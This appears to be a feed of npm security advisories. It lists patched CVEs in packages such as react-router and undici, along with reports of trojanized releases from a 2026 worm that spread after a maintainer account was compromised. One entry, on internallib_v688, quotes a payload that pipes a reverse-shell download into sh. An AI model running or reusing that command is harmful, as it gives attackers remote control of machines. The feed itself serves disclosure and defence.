ROOT-APP-NPM-CVE-2023-26116 CVE-2023-26116 in angular - Patched by Root

Root has patched CVE-2023-26116 in the angular package for Root:npm. Multiple fixed versions available...

MAL-2026-11928 Malicious code in @servicetitan/suppress-warnings (npm)

npm/@servicetitan/suppress-warnings is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and...

ROOT-APP-NPM-CVE-2026-34077 CVE-2026-34077 in react-router - Patched by Root

Root has patched CVE-2026-34077 in the react-router package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-21884 CVE-2026-21884 in react-router - Patched by Root

Root has patched CVE-2026-21884 in the react-router package for Root:npm. Multiple fixed versions available...

MAL-2026-11559 Malicious code in @cacheable/net (npm)

npm/@cacheable/net version 2.1.1 is a trojanized release published on 2026-08-04 during the compromise of the npm/GitHub maintainer account behind the keyv and cacheable package families user "Jaredwray". Attackers pushed the malicious payload to the source repository and cut releases through...

Malicious code in ecto (npm)

npm/ecto version 5.0.1 is a trojanized release published on 2026-08-04 during the compromise of the npm/GitHub maintainer account behind the keyv and cacheable package families user "Jaredwray". Attackers pushed the malicious payload to the source repository and cut releases through GitHub Action...

MAL-2026-11966 Malicious code in ecto (npm)

npm/ecto version 5.0.1 is a trojanized release published on 2026-08-04 during the compromise of the npm/GitHub maintainer account behind the keyv and cacheable package families user "Jaredwray". Attackers pushed the malicious payload to the source repository and cut releases through GitHub Action...

Malicious code in cacheable-request (npm)

npm/cacheable-request version 13.0.20 is a trojanized release published on 2026-08-04 during the compromise of the npm/GitHub maintainer account behind the keyv and cacheable package families user "Jaredwray". Attackers pushed the malicious payload to the source repository and cut releases throug...

Malicious code in internallib_v688 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811 The package's main module exports a command function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a...

@24hr/content-next (>=1.0.0, <=3.0.18), @24hr/natswrapper (>=1.0.0, <=1.0.20) +339 more potentially affected by CVE-2026-69240 via sequelize (>=6.0.0-beta.4, <=6.37.3)

sequelize NPM version =6.0.0-beta.4, =1.0.0, =1.0.0, =0.1.0, =0.8.0, =15.0.0, =1.0.0, =1.0.43, =0.13.0, =5.0.0-alpha.3, =13.0.7-feature-244b53-kvkvw2nk, =1.0.63, =1.0.2, =1.1.3 and more Source cves: CVE-2026-69240 Source advisory: SNYK:JS-SEQUELIZE-18517006...

0pflow (>=0.1.0-dev.2580522, <=0.1.0-dev.f5622ac), @3onedata/alsatian (>=0.1.8-fix.3, <=0.1.8-fix.5) +756 more potentially affected by CVE-2026-69207 via hono (>=4.0.0, <=4.12.33)

hono NPM version =4.0.0, =0.1.0-dev.2580522, =0.1.8-fix.3, =0.0.2, =0.1.0, =0.3.1, =0.0.138, =0.0.138, =0.0.138, =0.0.138, =0.0.138, =0.0.0-pr-306-20260707164534, =0.9.0, =0.1.0, =0.1.5 and more Source cves: CVE-2026-69207 Source advisory: SNYK:JS-HONO-18517010...

0pflow (>=0.1.0-dev.2580522, <=0.1.0-dev.f5622ac), @3onedata/alsatian (>=0.1.8-fix.3, <=0.1.8-fix.5) +756 more potentially affected by CVE-2026-69207 via hono (>=4.0.0, <=4.12.33)

hono NPM version =4.0.0, =0.1.0-dev.2580522, =0.1.8-fix.3, =0.0.2, =0.1.0, =0.3.1, =0.0.138, =0.0.138, =0.0.138, =0.0.138, =0.0.138, =0.0.0-pr-306-20260707164534, =0.9.0, =0.1.0, =0.1.5 and more Source cves: CVE-2026-69207 Source advisory: OSV:GHSA-8J4G-W8FX-2239...

@activepieces/piece-ai (>=0.3.1, <=0.3.4), @activepieces/piece-apify (0.2.1) +129 more potentially affected by CVE-2026-69192 via ip-address (>=10.0.1, <=10.2.0)

ip-address NPM version =10.0.1, =0.3.1, =0.0.2, =9.9.0-ruixiang.1, =1.1.0-dev-0d04f54.1, =1.78.0-rc.0, =3.3.0, =1.0.0, =0.2.0-beta.4, =0.3.0-beta.1, =1.0.35, =1.0.31, =1.0.118 and more Source cves: CVE-2026-69192 Source advisory: OSV:GHSA-MWP4-54F8-5FHR...

@aikidosec/broker-client (>=1.0.47, <=1.0.49), @kirick/ip (0.2.1) +4 more potentially affected by CVE-2026-69198 via ip-address (>=10.1.1, <=10.2.0)

ip-address NPM version =10.1.1, =1.0.47, =0.6.0, =2.0.0, =0.1.3, =7.6.5-beta.0, =8.0.3 Source cves: CVE-2026-69198 Source advisory: SNYK:JS-IPADDRESS-18516625...

0utmailauth (1.0.0), @1023-ventures/ursa-core (>=0.5.2, <=0.5.3) +2146 more potentially affected by CVE-2026-15157 via undici (>=6.0.0, <=6.27.0)

undici NPM version =6.0.0, =0.5.2, =0.5.2, =0.4.2, =0.5.116, =2.7.0, =1.3.7-canary.36.1, =1.3.7-canary.36.1, =1.3.7-canary.36.1, =1.0.0, =1.0.0, =0.1.5-alpha.0, =1.0.9-beta.0, =1.10.0-release and more Source cves: CVE-2026-15157 Source advisory: OSV:GHSA-M8RV-5G2X-5CG5...

@0x0.bug/pi-coding-agent (1.0.0), @0xwork/connect (>=0.1.0, <=0.1.9) +1195 more potentially affected by CVE-2026-14643 via undici (>=8.0.0, <=8.8.0)

undici NPM version =8.0.0, =0.1.0, =1.0.0, =0.2.0, =5.0.1-staging.19033314d476, =5.0.1-staging.19033314d476, =5.1.1-staging.00ceebd28cf2, =5.1.1-staging.00ceebd28cf2, =5.0.1-staging.19033314d476, =5.0.1-staging.3abdf9534c25, =0.1.0, =2026.6.2, =2026.6.5 and more Source cves: CVE-2026-14643 Source...

@0x0.bug/pi-coding-agent (1.0.0), @0xwork/connect (>=0.1.0, <=0.1.9) +1195 more potentially affected by CVE-2026-16729 via undici (>=8.0.0, <=8.8.0)

undici NPM version =8.0.0, =0.1.0, =1.0.0, =0.2.0, =5.0.1-staging.19033314d476, =5.0.1-staging.19033314d476, =5.1.1-staging.00ceebd28cf2, =5.1.1-staging.00ceebd28cf2, =5.0.1-staging.19033314d476, =5.0.1-staging.3abdf9534c25, =0.1.0, =2026.6.2, =2026.6.5 and more Source cves: CVE-2026-16729 Source...

@01.software/cli (>=0.1.1, <=0.2.0), @01.software/sdk (>=0.0.1-251008.90016, <=0.3.0) +904 more potentially affected by CVE-2026-16729 via undici (>=7.0.0, <=7.28.0)

undici NPM version =7.0.0, =0.1.1, =0.0.1-251008.90016, =0.6.0, =0.12.0-alpha.1, =0.12.0-alpha.1, =0.12.0-alpha.1, =0.12.0-alpha.1, =0.12.0-alpha.1, =0.0.6, =0.18.1, =0.18.4, =0.18.4, =0.1.0, =0.0.1, =0.1.0, =0.2.0 and more Source cves: CVE-2026-16729 Source advisory: OSV:GHSA-V3R7-H72X-CJCM...

@activepieces/piece-ai (>=0.3.1, <=0.3.4), @donadiosolutions/lcm (1.4.2) +10 more potentially affected by CVE-2026-18446 via fast-uri (>=3.0.1, <=3.1.4)

fast-uri NPM version =3.0.1, =0.3.1, =1.2.0, =5.4.3, =0.1.0, =1.0.0, =1.0.0, =1.25.0, =0.1.5, =0.1.0, =2.2.0, =2.3.1 Source cves: CVE-2026-18446 Source advisory: OSV:GHSA-7P8R-X3MC-P8W7...

@datastream/validate (>=0.0.4, <=0.0.38), @dearmrzhang/customs-mcp-server (>=0.1.2, <=1.1.0) +15 more potentially affected by CVE-2026-18446 via fast-uri (>=2.1.0, <=2.3.0)

fast-uri NPM version =2.1.0, =0.0.4, =0.1.2, =0.0.1, =0.0.1, =3.1.0-rc.0, =0.2.0, =0.2.0, =0.2.0, =0.0.1, =0.0.0, =1.0.0, =3.0.0, =1.7.0, =1.8.0 and more Source cves: CVE-2026-18446 Source advisory: OSV:GHSA-7P8R-X3MC-P8W7...